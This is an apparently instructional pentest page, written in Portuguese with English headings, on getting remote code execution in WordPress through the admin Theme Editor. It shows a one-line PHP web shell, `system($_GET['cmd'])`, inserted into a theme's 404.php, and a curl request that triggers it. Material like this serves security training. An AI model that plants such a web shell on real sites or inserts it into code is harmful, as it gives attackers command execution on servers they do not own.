Remote Code Execution (RCE) via the Theme Editor
Attacking the WordPress Backend
Com acesso administrativo ao WordPress, podemos modificar o código-fonte do PHP para executar comandos do sistema. Para realizar este ataque, faça login no WordPress com credenciais de administrador, o que deve nos redirecionar para o painel de administração. Clique
Appearance
no painel lateral e selecioneTheme Editor
. Esta página nos permitirá editar o código-fonte PHP diretamente. Devemos selecionar um tema inativo para evitar corromper o tema principal.
Twenty Seventeen Theme - 404.php
<?php
system($_GET['cmd']);
/**
* The template for displaying 404 pages (not found)
*
* @link https://codex.wordpress.org/Creating_an_Error_404_Page
<SNIP>
Podemos validar que alcançamos o RCE inserindo o URL no navegador da web ou emitindo a
cURL
solicitação abaixo.
curl -X GET "http://<target>/wp-content/themes/twentyseventeen/404.php?cmd=id"
Last updated